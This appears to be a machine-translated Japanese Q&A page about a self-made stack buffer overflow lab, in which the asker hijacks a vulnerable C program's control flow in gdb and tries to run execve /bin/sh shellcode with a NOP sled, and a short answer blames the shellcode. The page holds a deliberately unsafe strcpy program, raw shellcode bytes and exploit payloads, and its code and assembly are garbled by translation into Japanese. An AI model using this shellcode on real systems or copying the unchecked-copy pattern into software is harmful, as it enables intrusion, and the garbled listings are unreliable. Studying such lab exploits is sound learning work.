web-dev-qa-db-ja.com

プログラムのフローを変更できるが、シェルコードを実行できない

通常はオーバーフローした関数を呼び出さない、脆弱な小さなCプログラムを作成しました。

 
 void overflowed(){
 printf( "%s\n"、 "Hijacked"); 
} 
 
 void通常(char * st){
 char buffer [80]; 
 strcpy(buffer、st); 
} 
 
 int main( int argc、char * argv []){
通常(argv [1]); 
 printf( "%s\n"、 "Regulary completed"); 
 return 0 ; 
} 

それをgdbで開き、オーバーフローした関数を呼び出すことができました

(gdb) あふれる
オーバーフローした関数のアセンブラコードのダンプ:
 0x08048436:%ebpをプッシュします
 0x08048437:mov%esp、%ebp 
 0x08048439:%ebx [.____をプッシュします。 ] 0x0804843a:0x80484bcを呼び出します
 0x0804843f:$ 0x1bc1、%eax 
を追加します0x08048444:lea -0x1ac0(%eax)、%edx 
 0x0804844a:%edx 
をプッシュします0x0804844b:mov%eax、%ebx 
 0x0804844d:0x8048310 
を呼び出します0x08048452:$ 0x4、%esp 
を追加します0x08048455:nop 
 0x08048456:mov -0x4(% ebp)、%ebx 
 0x08048459:
のままにします0x0804845a:ret 
アセンブラーダンプの終わりです。 $(python -c "p​​rint 'A' * 88 + '\ x36\x84\x04\x08'")を実行します
開始プログラム:/ root/vuln $(python -c "p​​rint 'A' * 88 + '\ x36\x84\x04\x08'")
ハイジャック
 
プログラムは信号SIGSEGVを受信しました、セグメンテーション違反。
 0xbffff500 in ?? ()
(gdb)

通常、関数の終了時にブレークポイントを設定してスタックをチェックし、どのリターンアドレスを置くかを確認できます。私はそれを作りました、そしてここは出力です。シェルコードが実行されない理由がわかります。 Btwシェルコードは機能し、このシェルコードを呼び出すためにCプログラムでテスト済みです。

(gdb) $(python -c "p​​rint '\ x90' * 62 + '\ x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80 '+'\xf4\xf2\xff\xbf '")
デバッグ中のプログラムはすでに開始されています。
最初から開始しますか? (yまたはn)y 
開始プログラム:/ root/vuln $(python -c "p​​rint '\ x90' * 62 + '\ x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80 '+'\xf4\xf2\xff\xbf '")
 
ブレークポイント2、通常(st = 0xbffff500 "")at vulnerable.c:11 
 11} 
(gdb) x/25xw $ esp0xbffff2f4:0x90909090 0x90909090 0x90909090 0x90909090 0xbffff304 
:0x90909090 0x90909090 0x90909090 0x90909090 0xbffff314 
:0x90909090 0x90909090 0x90909090 0x90909090 0xbffff324 
:0x90909090 0x90909090 0x90909090 0xc0319090 
 0xbffff334:0x2f685099 0x6868732f 0x6e69622f 0x5350e389 
 0xbffff344:0xc031e189 0x80cd0bb0 0xbffff2f4  0xbffff500 
 0xbffff354:0x00000000 
(gdb)cont 
継続中。
 
プログラム受信信号SIGSEGV、セグメンテーション違反。
 0xbffff345 in ?? ()
(gdb)

ASLRはオフになり、-fno-stack-protector、-z execstack、-no-pieでコンパイルされます。

それが失敗した理由は、悪いシェルコードが原因です。私はThe Shellcoders Handbookから入手したもので、それは魅力のように機能しました。